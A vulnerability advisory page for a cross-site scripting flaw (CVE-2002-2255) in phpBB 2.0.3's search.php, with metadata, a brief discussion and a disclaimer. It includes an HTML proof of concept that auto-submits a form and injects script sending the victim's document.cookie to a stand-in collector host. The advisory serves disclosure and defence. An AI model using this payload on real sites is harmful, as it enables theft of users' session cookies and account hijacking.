phpBB search.php Cross Site Scripting Vulnerability

BID:6311

Info

phpBB search.php Cross Site Scripting Vulnerability

Bugtraq ID: 6311
Class: Input Validation Error
CVE: CVE-2002-2255
Remote: Yes
Local: No
Published: Dec 03 2002 12:00AM
Updated: Mar 19 2015 08:36AM
Credit: Discovery of this vulnerability is credited to <[email protected]>.
Vulnerable: phpBB Group phpBB 2.0.3
Not Vulnerable:

Discussion

phpBB search.php Cross Site Scripting Vulnerability

phpBB is vulnerable to cross site scripting attacks. This is due to insufficient santization of user-supplied input. The problem is located in the search.php script. This issue may be exploited by an attacker to steal a legitimate users cookie-based authentication credentials.

Exploit / POC

phpBB search.php Cross Site Scripting Vulnerability

The following proof of concept has been supplied by &lt;[email protected]&gt;.

&lt;html&gt;
&lt;body&gt;
&lt;form method="post" name="search"
action="http://target/search.php?mode=searchuser"&gt;
&lt;input type="hidden" name="search_username" value=""/&gt;

&lt;/form&gt;
&lt;SCRIPT&gt;
search.search_username.value='Http://savecookie/x.php?Cookie="&gt;&lt;script&gt;location=search.search_username.value+document.cookie;&lt;/script\&gt;';
document.search.submit();
&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;

Solution / Fix

phpBB search.php Cross Site Scripting Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

phpBB search.php Cross Site Scripting Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report